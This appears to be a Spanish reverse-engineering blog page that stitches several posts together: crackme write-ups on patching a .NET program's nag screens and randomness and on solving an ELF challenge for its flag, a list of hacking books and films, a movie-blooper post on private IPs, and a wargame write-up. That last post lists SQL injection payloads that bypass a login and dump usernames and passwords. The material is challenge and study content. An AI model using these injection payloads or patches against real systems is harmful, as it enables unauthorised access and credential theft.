Introducción

Este es un crackme hecho en .Net con dos Nags a parchear y un algoritmo muy sencillo pero que tendremos que parchear para poder resolverlo.

Las Nags

Se encuentran en los eventos de carga y cierre del formulario.

01-09-2014 07-30-07

// RegisterMe.Form1
private void Form1_Load(object sender, EventArgs e)
{
    Interaction.MsgBox("Register me pl0x!", MsgBoxStyle.OkOnly, "Nag!!!!");
}

// RegisterMe.Form1
private void Form1_FormClosing(object sender, FormClosingEventArgs e)
{
    Interaction.MsgBox("Register me pl0x!", MsgBoxStyle.OkOnly, "Nag2!!!!");
}

 Para parchear un ejecutable realizado en .Net primero necesitamos ubicarnos. Abrimos IL Dasm y vamos al evento «Form_Load«, nos fijamos en los bytes y los buscamos con un editor hexadecimal. Fijaros bien en los bytes ya que siguen un orden específico, en la imágen del editor hexadecimal se aprecia perfectamente. Para que quede parcheada la Nag basta con sustituir los valores por ceros. Se parchea todo excepto el «RET (2A)».

01-09-2014 08-03-23

01-09-2014 08-04-01

Para la  otra Nag sería lo mismo.

El algoritmo

El algoritmo es muy sencillo, consiste en la concatenación de varias palabras y un número aleatorio. El problema viene con el número aleatorio ya que lo tendremos que parchear para poder registrar el programa.

// RegisterMe.Form1
private void Button1_Click(object sender, EventArgs e)
{
    this.shadow = this.rand.Next(1, 99999999);
    if (Operators.ConditionalCompareObjectEqual(this.TextBox2.Text, Operators.ConcatenateObject(this.TextBox1.Text + this.TextBox3.Text + this.TextBox4.Text + this.TextBox5.Text + this.TextBox6.Text + this.TextBox7.Text + this.TextBox8.Text + this.TextBox9.Text + this.TextBox1.Text, this.shadow), false))
    {
        this.Button2.Enabled = true;
        this.Button1.Enabled = false;
        this.Button1.Text = "Registered to Shadow";
        this.Text = "Registered to Shadow!";
    }
    else
    {
        Interaction.MsgBox("Incorrect serial, noob.", MsgBoxStyle.OkOnly, null);
    }
}

La concatenación quedaría así:

TextBox1.Text = Nuestro usuario + TextBox3.Text = «ur» + TextBox4.Text = «a» + TextBox5.Text = «stupid» + TextBox6.Text = «dumb» + TextBox7.Text = «idiotic» + TextBox8.Text = «crazy» + TextBox9.Text = «noob» + TextBox1.Text = Nuestro usuarioEl número aleatorio

 Ejemplo

  • Nombre: deurus
  • Clave: deurusurastupiddumbidioticcrazynoobdeurus98265385

Parcheando el número aleatorio

Buscamos el evento click en IL Dasm y nos fijamos que aparece el número «5F5E0FF» que en decimal equivale a «99999999«, buscamos los bytes en el editor hexadecimal y lo parcheamos a 1. De este modo anulamos la aletoriedad, ahora el número siempre es 1.

01-09-2014 09-25-23

01-09-2014 09-35-35

01-09-2014 09-36-59

Ahora ya podemos registrarnos.

01-09-2014 07-38-44

Links


Introducción  Hoy vamos a ver como extraer el script de un ejecutable compilado por Autoit, modificarlo y recompilarlo como nuestro
Hace unos años cuando empecé a trastear con Android y animado por mi afición a la Ingeniería Inversa, decidí realizar
Aquí os dejo un video tutorial. El crackme lo podeis encontrar en crackmes.de.
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Libros

Hacker Épico

La apacible existencia de Ángel Ríos da un vuelco cuando una antigua compañera de clase, de la que siempre ha estado enamorado, le pide ayuda para descifrar un misterioso archivo. A partir de entonces, Ángel se verá envuelto en una intriga relacionada con el contenido del archivo, que complicará su vida y lo expondrá a un grave peligro. En el camino hacia la verdad, únicamente contará con sus sorprendentes conocimientos de hacking y el apoyo de su peculiar amigo Marcos. Técnicas de hacking web, sistemas y análisis forense son algunos de los temas que se tratan con total rigor en esta mezcla de novela negra y manual técnico.

Web oficial

La Caza de Hackers: Ley y Desorden en la Frontera Electrónica

En 1990, la caída del sistema del día de Martin Luther King, que afecto a la compañía telefónica AT&T y dejó sin comunicaciones a millones de norteamericanos, desencadenó la persecución y detención de decenas de hackers, acusados de causar el hundimiento, que hasta ese momento era ignorados por la policía y las leyes. Bruce Sterling, considerado uno de los mayores expertos en el género del ciberpunk, nos ofrece un apasionante reportaje desde el principio de la era de internet, los ordenadores personales, y la frontera electrónica partiendo de la base de ese hecho inaudito. Con una entretenida prosa novelesca, Sterling nos lleva a conocer a todos los implicados en el asunto, desde los primeros activistas de internet hasta los policías encargados del caso, que cimentó los pilares de lo que hoy es la libertad de expresión en Internet. 25 años después de los sucesos del día de Martin King, «La Caza de Hackers», se ha convertido en un libro de culto y un documento histórico imprescindible para comprender y entender la transformación y el impacto de las nuevas comunicaciones en el Siglo XXI.

Cybersecurity for the Home and Office

El título de este libro anima a que tomes control de la ciberseguridad no solo en tu trabajo, sino también para tus asuntos personales. La ciberdelincuencia es una industria delictiva que mueve miles de millones de dólares al año y cuyos actores apenas temen a las fuerzas del orden. Los incidentes siguen creciendo, y más allá de la protección en los lugares de trabajo, también es necesario protegernos a nosotros mismos y a nuestras familias.

Web oficial

Messing with the Enemy: Surviving in a Social Media World of Hackers, Terrorists, Russians, and Fake News

Clint Watts, un ex agente especial del FBI, oficial del Ejército de Estados Unidos y destacado experto en ciberseguridad, ofrece una mirada devastadora y esencial a las campañas de desinformación, las noticias falsas y las operaciones de espionaje electrónico que se han convertido en la vanguardia de la guerra moderna. También ofrece consejos para protegernos en nuestro día a día.

Cybersecurity: An Essential Guide to Computer and Cyber Security for Beginners, Including Ethical Hacking, Risk Assessment, Social Engineering, Attack and Defense Strategies, and Cyberwarfare

Con multitud de ejemplos, este libro le mostrará que Internet no es simplemente una forma de ver vídeos de gatos monos; es un campo de batalla, un invento militar que se descubrió accidentalmente que era capaz de dominar cualquier amenaza económica, digital y políticamente.
Desde los foros más burdos hasta los servicios en línea más sofisticados, hay una guerra en marcha y, lo quieras o no, estás implicado por el mero hecho de estar aquí, así que mejor ármate de conocimientos.

Hackstory.es

Historia de la comunidad hacker en España, centrada en la década de los 90, cuando aparecen los primeros grupos y nace la cultura hacker. El libro narra el quién fue quién, así como sus hazañas, anécdotas y colectivos e individuales más punteros. Este ingente trabajo de investigación nació en 2009, con la puesta en marcha de un wiki, al estilo wikipedia, llamado Hackstory.net y donde en estos años la autora ha ido creando fichas, accesibles al público, que le han permitido escribir este libro, sin parangón en Europa. La comunidad hacker ha revisado los textos así como apoyado a la autora, tanto a la hora de aportar información, como en una campaña de «crowdfunding» con la que se consiguió una respetable cantidad para tener el tiempo suficiente de escribir el libro. Además de ser sus principales mecenas, protagonistas y aportadores de información, los hackers españoles han participado en todos los aspectos organizativos relacionados con la producción y distribución del libro.

Documentales

Hackers wanted

Documental narrado por Kevin Spacey que explora los orígenes y la naturaleza de los hackers y los piratas informáticos.
Sigue las aventuras de Adrián Lamo, un célebre hacker y periodista estadounidense, conocido por haber delatado a Chelsea Manning, el soldado que presuntamente filtró a WikiLeaks el vídeo que mostraba a soldados americanos asesinando a civiles en
Afganistán.

Hackers are people too

Este documental tiene como objetivo retratar de forma exhaustiva la comunidad hacker. En un esfuerzo por cuestionar las ideas preconcebidas y los estereotipos de los medios de comunicación, HACKERS ARE PEOPLE TOO permite a los hackers hablar por sí mismos y presentar su comunidad al público.

Hackers in Wonderland

Hackers in Wonderland es un documental del año 2000, producido y dirigido por Russell Barnes.
Se centra en los hackers del Reino Unido, y contiene entrevistas con ellos donde revelan lo que les impulsa a hackear y sus opiniones sobre el hacktivismo.

Hackers: Wizards of the electronic age

Este documental sobre la comunidad de hackers incluye imágenes de una conferencia de hackers y entrevistas con algunos de los programadores que crearon la revolución de los ordenadores personales, como Bill Atkinson, Bill Budge o Doug Carlston.
Convertido ya en un clásico sobre la revolución de los ordenadores, las entrevistas fueron grabadas durante un largo fin de semana en una conferencia de hackers
de 1984.

Podcast

conCISOS

Programa en el que se conversa con grandes profesionales del mundo de la seguridad para conocer su visión sobre la situación actual y la ciberseguridad.

Spotify | Ivoox

Brigada OSINT

El único Podcast en español íntegramente dedicado al OSINT (Open Source Intelligence), conjunto de técnicas y herramientas para recopilar información pública, correlacionar los datos y procesarlos. Está dirigido por el Analista y Consultor OSINT David Sanz y son episodios de menos de una hora donde se habla de casos reales, herramientas, noticias, libros y documentales.

Web Oficial

Ciberseguridad sin censura

Ciberseguridad sin censura, es el podcast del Instituto de Ciberseguridad en el que se tocan temas relacionados a la tecnología y seguridad, de forma objetiva y sin censura.
Su visión es que a través de este podcast, puedas encontrar noticias, entrevistas y temas de tecnología y seguridad en general desde un punto de vista completamente imparcial.

Spotify

The social engineer

Podcast centrado en ingeniería social. Entender cómo interactuamos, nos comunicamos y transmitimos información puede ayudarnos a proteger, mitigar y comprender este tipo de ataques.

Spotify

401 access denied

Cada quince días, el hacker ético de Delinea Joseph Carson y los expertos en formación en ciberseguridad deCybrary comparten sus puntos de vista con invitados especiales en este interesante podcast sobre la actualidad en materia de ciberseguridad.

Web oficial

Videojuegos

else Heart.Break ()

Sebastian acaba de conseguir su primer trabajo en la lejana ciudad de Dorisburg. Se traslada allí para
comenzar su vida adulta y averiguar quién quiere ser realmente.
Entre una extraña colección de personas, hackers y activistas, encuentra algunos verdaderos amigos, e incluso el amor. Pero, ¿podrán detener los terribles actos de la gente que gobierna la ciudad?
Else Heart.Break () es una vuelta de tuerca del juego de aventuras: una historia fantástica ambientada en un mundo totalmente dinámico e interactivo.

Steam

Hackmud

Hackmund es un simulador de hacking multijugador basado en texto para ordenadores personales compatibles con Intel.
En este emocionante videojuego, los jugadores pueden descifrar sistemas protegidos y resolver rompecabezas mientras exploran la abandonada Internet del futuro. Además, pueden escribir scripts para proteger sus ganancias y engañar a otros jugadores.

Steam | Web oficial

TIS-100

En este juego de programación desarrollado por Zachtronics Industries, puedes desarrollar un código de lenguaje ensamblador simulado para realizar ciertas tareas en un ordenador ficticio virtualizado de la década de 1970.

Steam | Web oficial

Pelis

Algorithm

Will es un experto en seguridad informática que trabaja como consultor y hacker independiente en San Francisco.
Su vida da un vuelco cuando es contratado por un hombre que quiere pruebas de la infidelidad de su mujer. En su investigación, descubre un misterioso programa informático del gobierno, un aterrador sistema de identificación y tracking de personas.

23 – Nichts ist so wie es scheint («Nothing is what it seems»)

Hannover, finales de los años ochenta. El huérfano Karl Koch invierte su herencia en un ordenador personal. Al principio lo usa para captar noticias sobre discusiones de teorías conspirativas inspiradas en su novela favorita, “Illuminatus”, de R.A. Wilson, pero pronto Karl y su amigo David empiezan a introducirse en ordenadores del gobierno y del ejército.
Esta apasionante historia real sobre unos jóvenes alemanes, obtuvo reconocimientos a premios importantes dentro de su país de origen.

Johnny Mnemonic

Película de 1995 que tiene a Keanu Reeves como protagonista.
Corre el año 2021 y la mitad de la población sufre de una enfermedad llamada “síndrome de atenuación de los nervios”. Johnny es un mensajero de información, una persona que lleva los datos más importantes del siglo XXI directamente implantados en su cerebro. Su información será muy valiosa para una gran corporación, que no parará hasta dar con él.
A pesar de no haber recibido buenas críticas en su momento, su visionado futurista resulta entretenido.

Who Am I: ningún sistema es seguro

Benjamin se siente invisible, pero esto cambia cuando conoce al carismático Max. Aunque aparentemente no podrían ser más diferentes, ambos comparten el mismo interés: la piratería informática.
Junto con los amigos de Max, forman un grupo subversivo de hackers que desafía al sistema y Benjamin se siente parte de algo por primera vez en su vida.
Pero la cosa se pone seria de repente, cuando el grupo es incluido en la lista de buscados de la policía alemana y la Europol.

Hackers (Piratas Informáticos)

Dade acaba de mudarse con su madre a la ciudad de Nueva York. En su primer día de escuela conocerá a un grupo de jóvenes cuya afición es piratear sistemas informáticos por diversión. Dadee se unirá a ellos, pero todo se complica cuando descubren que están siendo vigilados por las autoridades. Cuando el grupo se entera de la existencia de un plan para liberar un peligroso virus en la Red, todos deberán utilizar sus habilidades informáticas para conseguir pruebas de ello mientras el Servicio Secreto y el malvado genio de los ordenadores que ha creado el virus les pisan los talones.

La Red Social

Película biográfica dirigida por David Fincher, estrenada el 24 de septiembre de 2010, en el Festival de Cine de Nueva York. Esta narra un drama de tribunales, sobre las implicaciones morales del entonces ascendente Mark Zuckerberg (interpretado por Jesse Eisenberg), cuyas peripecias lo encaminaron en la construcción de un imperio billonario, y de cómo alguien poco sociable logró conectar a cientos de millones de personas a través de su creación, Facebook.

La Red

El primer día de sus vacaciones, una programadora de ordenadores recibe un extraño disquet para que lo investigue. Se lo guarda y descubre que posee una clave para acceder al control de las bases de datos protegidas de Estados Unidos. A la vez ve cómo todos los datos de su vida que figuran en archivos informáticos son suprimidos o tergiversados.

Blackhat – Amenaza en la red

Thriller cibernético en el que varios agentes norteamericanos y chinos, con ayuda de un convicto liberado, se unen para detener a un misterioso hacker. Todo comienza cuando los gobiernos de Estados Unidos y China se ven obligados a cooperar por el bien de la seguridad nacional de ambas potencias. El motivo: una fuerte amenaza informática está poniendo en riesgo las vidas y el futuro de la población. Delitos informáticos de alto nivel para los que deberán recurrir a sus mejores agentes de campo si quieren llegar a tiempo para evitar lo peor.

The Matrix

Representa un futuro distópico en el que la humanidad está atrapada sin saberlo dentro de una realidad simulada llamada Matrix, que las máquinas inteligentes han creado para distraer a los humanos mientras usan sus cuerpos como fuente de energía en campos de cultivo.​ Cuando el programador informático Thomas Anderson, bajo el alias de hacker «Neo», descubre la incómoda verdad, se une a una rebelión contra las máquinas junto con otras personas que han sido liberadas de Matrix. Siendo estrenada en los Estados Unidos el 31 de marzo de 1999, es la primera entrega de la franquicia Matrix, de la que derivan (dado su éxito) una serie de videojuegos, cortos animados y cómics, llegando a ser un claro ejemplo del subgénero cyberpunk.

Juegos de guerra

Un joven informático, con una gran habilidad para falsificar notas, entra en una compañía de juegos de ordenador para probarlos y consigue poner en jaque al Departamento de Defensa de los Estados Unidos y provocar la III Guerra Mundial.

Snowden

La épica historia del hombre que en 2013 puso en jaque a los EE.UU. Cuando Edward J. Snowden desveló los documentos del programa de vigilancia mundial secreto de la NSA abrió los ojos del mundo y cerró las puertas de su propio futuro. Se vio obligado a renunciar a su carrera, a su novia de toda la vida y a su patria. ¿Fue un patriota o un traidor?

Series

Eye Candy

Esta serie de televisión estadounidense está basada en una novela y tiene como protagonista a Lindy Sampson, una solitaria hacker que tiene un blog en el que expone todo tipo de cosas: desde planes terroristas hasta presuntos asesinos.
Un día, Lindy se convierte en el blanco de un peligroso acosador cibernético y asesino en serie, que se obsesiona con ella. A partir de entonces, Lindy se sumerge en la investigación policial para capturar al asesino, utilizando su especial habilidad.

Mr. Robot

Esta aclamada serie de cuatro temporadas ha sido nominada durante varios años seguidos tanto a los Globos de Oro como a los Emmy y ha sido destacada por muchos críticos como una de las mejores series de los últimos años.
El protagonista es Elliot Anderson, interpretado por un estupendo Rami Malek. Un brillante programador con problemas para las relaciones sociales que durante el día trabaja como técnico de ciberseguridad y por la noche es un desinteresado justiciero cibernético, que se ve envuelto en una oscura trama.

Devs

Lily es una joven ingeniera informática que decide investigar a la empresa de tecnología para la que trabaja, pues cree que está detrás de la desaparición de su novio.
A medida que avanza la investigación, descubre que la empresa está desarrollando un código que desafía las leyes del espacio y el tiempo.
El director de Ex_Machina firma este hipnótico thriller que habla sobre el uso indiscriminado del Big Data, reflexiona sobre el determinismo, (alegando que ninguno de nuestros actos es libre), y diseña una interesante radiografía sobre las relaciones humanas.

Silicon Valley

Richard es un tímido programador que vive con sus tres únicos amigos y descubren un importante algoritmo que supondrá una batalla con intereses y falsas amistades. Además, una chica se cruza por primera vez en la vida de Richard.

Estamos ante un ELF un poco más interesante que los vistos anteriormente. Básicamente porque es divertido y fácil encontrar la solución en el decompilado y quizá por evocar recuerdos de tiempos pretéritos.

ELF Decompilado

/* This file was generated by the Hex-Rays decompiler version 8.4.0.240320.
   Copyright (c) 2007-2021 Hex-Rays <info@hex-rays.com>

   Detected compiler: GNU C++
*/

#include <defs.h>


//-------------------------------------------------------------------------
// Function declarations

__int64 (**init_proc())(void);
__int64 sub_400650(); // weak
// int printf(const char *format, ...);
// int puts(const char *s);
// void __noreturn exit(int status);
// size_t strlen(const char *s);
// __int64 __fastcall MD5(_QWORD, _QWORD, _QWORD); weak
// int sprintf(char *s, const char *format, ...);
// __int64 ptrace(enum __ptrace_request request, ...);
// __int64 strtol(const char *nptr, char **endptr, int base);
// __int64 __isoc99_scanf(const char *, ...); weak
// int memcmp(const void *s1, const void *s2, size_t n);
void __fastcall __noreturn start(__int64 a1, __int64 a2, void (*a3)(void));
void *sub_400730();
__int64 sub_400760();
void *sub_4007A0();
__int64 sub_4007D0();
void fini(void); // idb
void term_proc();
// int __fastcall _libc_start_main(int (__fastcall *main)(int, char **, char **), int argc, char **ubp_av, void (*init)(void), void (*fini)(void), void (*rtld_fini)(void), void *stack_end);
// __int64 _gmon_start__(void); weak

//-------------------------------------------------------------------------
// Data declarations

_UNKNOWN main;
_UNKNOWN init;
__int64 (__fastcall *funcs_400E29)() = &sub_4007D0; // weak
__int64 (__fastcall *off_601DF8)() = &sub_4007A0; // weak
__int64 (*qword_602010)(void) = NULL; // weak
char *off_602080 = "FLAG-%s\n"; // idb
char a7yq2hryrn5yJga[16] = "7Yq2hrYRn5Y`jga"; // weak
const char aO6uH[] = "(O6U,H\""; // idb
_UNKNOWN unk_6020B8; // weak
_UNKNOWN unk_6020C8; // weak
char byte_6020E0; // weak
char s1; // idb
char byte_602110[]; // weak
char byte_602120[33]; // weak
char byte_602141[7]; // idb
__int64 qword_602148; // weak
__int64 qword_602150; // weak
__int64 qword_602158; // weak
__int64 qword_602160; // weak
__int64 qword_602178; // weak


//----- (0000000000400630) ----------------------------------------------------
__int64 (**init_proc())(void)
{
  __int64 (**result)(void); // rax

  result = &_gmon_start__;
  if ( &_gmon_start__ )
    return (__int64 (**)(void))_gmon_start__();
  return result;
}
// 6021D8: using guessed type __int64 _gmon_start__(void);

//----- (0000000000400650) ----------------------------------------------------
__int64 sub_400650()
{
  return qword_602010();
}
// 400650: using guessed type __int64 sub_400650();
// 602010: using guessed type __int64 (*qword_602010)(void);

//----- (0000000000400700) ----------------------------------------------------
// positive sp value has been detected, the output may be wrong!
void __fastcall __noreturn start(__int64 a1, __int64 a2, void (*a3)(void))
{
  __int64 v3; // rax
  int v4; // esi
  __int64 v5; // [rsp-8h] [rbp-8h] BYREF
  char *retaddr; // [rsp+0h] [rbp+0h] BYREF

  v4 = v5;
  v5 = v3;
  _libc_start_main((int (__fastcall *)(int, char **, char **))main, v4, &retaddr, (void (*)(void))init, fini, a3, &v5);
  __halt();
}
// 400706: positive sp value 8 has been found
// 40070D: variable 'v3' is possibly undefined

//----- (0000000000400730) ----------------------------------------------------
void *sub_400730()
{
  return &unk_6020C8;
}

//----- (0000000000400760) ----------------------------------------------------
__int64 sub_400760()
{
  return 0LL;
}

//----- (00000000004007A0) ----------------------------------------------------
void *sub_4007A0()
{
  void *result; // rax

  if ( !byte_6020E0 )
  {
    result = sub_400730();
    byte_6020E0 = 1;
  }
  return result;
}
// 6020E0: using guessed type char byte_6020E0;

//----- (00000000004007D0) ----------------------------------------------------
__int64 sub_4007D0()
{
  return sub_400760();
}

//----- (00000000004007D7) ----------------------------------------------------
__int64 __fastcall main(int a1, char **a2, char **a3)
{
  size_t v3; // rax
  size_t v4; // rax
  int i; // [rsp+1Ch] [rbp-24h]
  int n; // [rsp+20h] [rbp-20h]
  int m; // [rsp+24h] [rbp-1Ch]
  int k; // [rsp+28h] [rbp-18h]
  int j; // [rsp+2Ch] [rbp-14h]

  if ( ptrace(PTRACE_TRACEME, 0LL, 0LL, 0LL) == -1 )
    goto LABEL_2;
  if ( a1 > 4 )
  {
    qword_602148 = strtol(a2[1], 0LL, 10);
    if ( qword_602148 )
    {
      qword_602150 = strtol(a2[2], 0LL, 10);
      if ( qword_602150 )
      {
        qword_602158 = strtol(a2[3], 0LL, 10);
        if ( qword_602158 )
        {
          qword_602160 = strtol(a2[4], 0LL, 10);
          if ( qword_602160 )
          {
            if ( -24 * qword_602148 - 18 * qword_602150 - 15 * qword_602158 - 12 * qword_602160 == -18393
              && 9 * qword_602158 + 18 * (qword_602150 + qword_602148) - 9 * qword_602160 == 4419
              && 4 * qword_602158 + 16 * qword_602148 + 12 * qword_602150 + 2 * qword_602160 == 7300
              && -6 * (qword_602150 + qword_602148) - 3 * qword_602158 - 11 * qword_602160 == -8613 )
            {
              qword_602178 = qword_602158 + qword_602150 * qword_602148 - qword_602160;
              sprintf(byte_602141, "%06x", qword_602178);
              v4 = strlen(byte_602141);
              MD5(byte_602141, v4, byte_602110);
              for ( i = 0; i <= 15; ++i )
                sprintf(&byte_602120[2 * i], "%02x", (unsigned __int8)byte_602110[i]);
              printf(off_602080, byte_602120);
              exit(0);
            }
          }
        }
      }
    }
LABEL_2:
    printf("password : ");
    __isoc99_scanf("%s", &s1);
    if ( strlen(&s1) > 0x10 )
    {
      puts("the password must be less than 16 character");
      exit(1);
    }
    for ( j = 0; j < strlen(&s1); ++j )
      *(&s1 + j) ^= 6u;
    if ( !strcmp(&s1, a7yq2hryrn5yJga) )
    {
      v3 = strlen(&s1);
      MD5(&s1, v3, byte_602110);
      for ( k = 0; k <= 15; ++k )
        sprintf(&byte_602120[2 * k], "%02x", (unsigned __int8)byte_602110[k]);
      printf(off_602080, byte_602120);
      exit(0);
    }
    puts("bad password!");
    exit(0);
  }
  printf("password : ");
  __isoc99_scanf("%s", &s1);
  if ( strlen(&s1) > 0x10 )
  {
    puts("the password must be less than 16 character");
    exit(1);
  }
  for ( m = 0; m < strlen(&s1); ++m )
  {
    *(&s1 + m) ^= 2u;
    ++*(&s1 + m);
    *(&s1 + m) = ~*(&s1 + m);
  }
  if ( !memcmp(&s1, &unk_6020B8, 9uLL) )
  {
    for ( n = 0; n < strlen(aO6uH); n += 2 )
    {
      aO6uH[n] ^= 0x45u;
      aO6uH[n + 1] ^= 0x26u;
    }
    puts(aO6uH);
  }
  else
  {
    puts("bad password!");
  }
  return 0LL;
}
// 4006A0: using guessed type __int64 __fastcall MD5(_QWORD, _QWORD, _QWORD);
// 4006E0: using guessed type __int64 __isoc99_scanf(const char *, ...);
// 602148: using guessed type __int64 qword_602148;
// 602150: using guessed type __int64 qword_602150;
// 602158: using guessed type __int64 qword_602158;
// 602160: using guessed type __int64 qword_602160;
// 602178: using guessed type __int64 qword_602178;

//----- (0000000000400DE0) ----------------------------------------------------
void __fastcall init(unsigned int a1, __int64 a2, __int64 a3)
{
  signed __int64 v3; // rbp
  __int64 i; // rbx

  v3 = &off_601DF8 - &funcs_400E29;
  init_proc();
  if ( v3 )
  {
    for ( i = 0LL; i != v3; ++i )
      (*(&funcs_400E29 + i))();
  }
}
// 601DF0: using guessed type __int64 (__fastcall *funcs_400E29)();
// 601DF8: using guessed type __int64 (__fastcall *off_601DF8)();

//----- (0000000000400E54) ----------------------------------------------------
void term_proc()
{
  ;
}

// nfuncs=33 queued=10 decompiled=10 lumina nreq=0 worse=0 better=0
// ALL OK, 10 function(s) have been successfully decompiled

Análisis estático

Anti-debug

Si la función ptrace retorna -1, significa que el programa está siendo depurado y redirige a LABEL_2.

if (ptrace(PTRACE_TRACEME, 0LL, 0LL, 0LL) == -1) {
    goto LABEL_2;
}

Cálculos y validaciones

El programa espera al menos 5 argumentos (nombre del programa y cuatro números enteros). Si se proporcionan los cuatro números enteros, se realizan los siguientes cálculos:

if (-24 * qword_602148 - 18 * qword_602150 - 15 * qword_602158 - 12 * qword_602160 == -18393
    && 9 * qword_602158 + 18 * (qword_602150 + qword_602148) - 9 * qword_602160 == 4419
    && 4 * qword_602158 + 16 * qword_602148 + 12 * qword_602150 + 2 * qword_602160 == 7300
    && -6 * (qword_602150 + qword_602148) - 3 * qword_602158 - 11 * qword_602160 == -8613)

Esto es un sistema de ecuaciones lineales mondo y lirondo que debe ser resuelto para encontrar los valores correctos de qword_602148, qword_602150, qword_602158 y qword_602160. Una vez resuelto el sistema de ecuaciones se realiza la operación:

 qword_602178 = qword_602158 + qword_602150 * qword_602148 - qword_602160;

A continuación se pasa el resultado de la variable qword_602178 a hexadecimal y se genera su hash MD5.

Solución en Python

Lo más rápido en esta ocasión es usar Python, pero esto se puede resolver hasta con lápiz y papel 😉

from sympy import symbols, Eq, solve
import hashlib

# Definir las variables
A, B, C, D = symbols('A B C D')

# Definir las ecuaciones
eq1 = Eq(-24*A - 18*B - 15*C - 12*D, -18393)
eq2 = Eq(9*C + 18*(A + B) - 9*D, 4419)
eq3 = Eq(4*C + 16*A + 12*B + 2*D, 7300)
eq4 = Eq(-6*(A + B) - 3*C - 11*D, -8613)

# Resolver el sistema de ecuaciones
solution = solve((eq1, eq2, eq3, eq4), (A, B, C, D))

# Verificar si se encontró una solución
if solution:
    print("Solución encontrada:")
    print(solution)

    # Obtener los valores de A, B, C y D
    A_val = solution[A]
    B_val = solution[B]
    C_val = solution[C]
    D_val = solution[D]

    # Mostrar los valores encontrados
    print(f"A = {A_val}")
    print(f"B = {B_val}")
    print(f"C = {C_val}")
    print(f"D = {D_val}")

    # Calcular qword_602178
    qword_602178 = C_val + B_val * A_val - D_val
    qword_602178 = int(qword_602178)  # Convertir a entero de Python
    print(f"qword_602178 = {qword_602178}")

    # Convertir qword_602178 a una cadena en formato hexadecimal
    byte_602141 = f"{qword_602178:06x}"
    print(f"byte_602141 (hex) = {byte_602141}")

    # Calcular el MD5 de la cadena
    md5_hash = hashlib.md5(byte_602141.encode()).hexdigest()
    print(f"MD5 hash = {md5_hash}")

    # Generar la flag
    flag = f"FLAG-{md5_hash}"
    print(f"Flag = {flag}")

else:
    print("No se encontró una solución.")

Al ejecutar el script veremos algo como esto:

Solución encontrada:
{A: 227, B: 115, C: 317, D: 510}
A = 227
B = 115
C = 317
D = 510
qword_602178 = 25912
byte_602141 (hex) = 006538
MD5 hash = 21a84f2c7c7fd432edf1686215db....
Flag = FLAG-21a84f2c7c7fd432edf1686215db....

La esperada cuarta entrega de La Jungla de Cristal se metió de lleno en el mundo de los Hackers. Cuando la vi en su época he de reconocer que el detalle que explicaremos a continuación me pasó desapercibido.

Hablemos de mineralismo.. digo de IPs privadas

Digamos que a día de hoy, quien más y quien menos, sabe lo que es una IP y para que sirve. Si no lo sabes, digamos resumidamente que es un número que nos identifica dentro de una red. En el protocolo IPv4 son 4 grupos de números entre 0 y 255. Como todo protocolo que se precie, tiene ciertos rangos de direcciones reservados para redes privadas y el resto digamos que son públicas. El rango de direcciones privadas para IPv4 es el siguiente:

  • De 10.0.0.0 a 10.255.255.255
  • 172.16.0.0 a 172.31.255.255
  • 192.168.0.0 a 192.168.255.255
  • 169.254.0.0 a 169.254.255.255

BTM

Como hemos hablado en otras ocasiones, en el cine se exagera todo lo relacionado con el mundo tecnológico y en especial el mundo «Hacking«, y es normal encontrarnos elaborados entornos gráficos que quedan muy bien pero que no existen en el mundo real.

En la Jungla 4.0 usaron IPs privadas como públicas sin ton ni son y perdón si me repito pero, ¿nadie contrata consultores?, es decir, vas a realizar una película sobre hackers y ¿no contratas a alguien que tenga unos conocimientos mínimos?, pues al parecer es mucho pedir, las imágenes hablan por si solas.

En la imagen superior se puede ver como están conectados al sistema de ventilación del NDA. Podría pasar si estuvieran físicamente en las instalaciones del NDA y se conectaran desde un equipo de allí, pero al hacerlo de forma remota crean un enorme gazapo.

Esto es una pequeña muestra de lo que muestra la película. También hay escenas en las que se usan IPs públicas correctamente pero en general cometen el error de forma recurrente.

Enlaces


Warning: This challenge is still active and therefore should not be resolved using this information. Aviso: Este reto sigue en
Con The Ring inauguro una nueva sección llamada Blooper Tech Movie (BTM), algo así como pifias o tomas falsas tecnológicas
Intro Hoy tenemos aquí un crackme del 2009 originario de crackmes.de. El Crackme está hecho en VB6, sin empacar y

Warning: This challenge is still active and therefore should not be resolved using this information.
Aviso: Este reto sigue en activo y por lo tanto no se debería resolver utilizando esta información.

Introducción

 Este reto consiste en lo siguiente, tenemos un formulario de Login standar que podemos pasar fácilmente y seguido han implementado una pregunta de seguridad adicional para cada usuario. El login lo muestro en la imágen inferior y lo pasamos con una inyección clásica.
Username: admin
Password: ‘or ‘1’=’1

Seguido tenemos la pregunta de seguridad.

Introducimos cualquier cosa y nos muestra el siguiente error.

El error nombra la tabla «security«, luego la usaremos.

Intentamos sin éxito inyectar en la pregunta de seguridad, de modo que nos centraremos en el login.

Inyección SQL Avanzada

Para inyectar a continuación meter cualquier nombre y la inyección en el password.

  • Sacando el nombre de la base de datos
SQLI: ' OR EXISTS(SELECT * FROM users WHERE name='admin' AND password LIKE '%w%') AND ''='
Response: Table 'thisi30_chal.users' doesn't exist
  • Sacando la versión de MySQL
SQLI: 0' UNION SELECT @@version,null'
Response: 5.5.36-cll
  • Nombre de la tabla
SQLI: 0' UNION SELECT table_name,null FROM information_schema.tables WHERE version = '10
Response: userdb
  •  Todas las columnas de la tabla security
SQLI: 0' UNION SELECT group_concat(column_name),null FROM information_schema.columns WHERE table_name = 'security
Response: ID,name,secquestion,answer
  • Todas las columnas de userdb
SQLI: 0' UNION SELECT group_concat(column_name),null FROM information_schema.columns WHERE table_name = 'userdb
Response: id,name,password

Ya tenemos las dos tablas que nos interesan con las columnas correspondintes, ahora vamos a por lo que hemos venido a buscar.

  • Obtener ID, name, password para los usuarios con ID = 1,2,3,4
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '1
Response: 1:admin:fr0gger
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '2
Response: 2:jack:simple123
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '3
Response: 3:cr0pt:cr0p111
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '4
Response: 4:us3r:a1b2c3
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '5
Response: ERROR, there are only 4 users
  •  Obtener ID, name, secquestion, answer para los usuarios con ID = 1,2,3,4
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '1
Response: 1:admin:mothers maiden name:*******
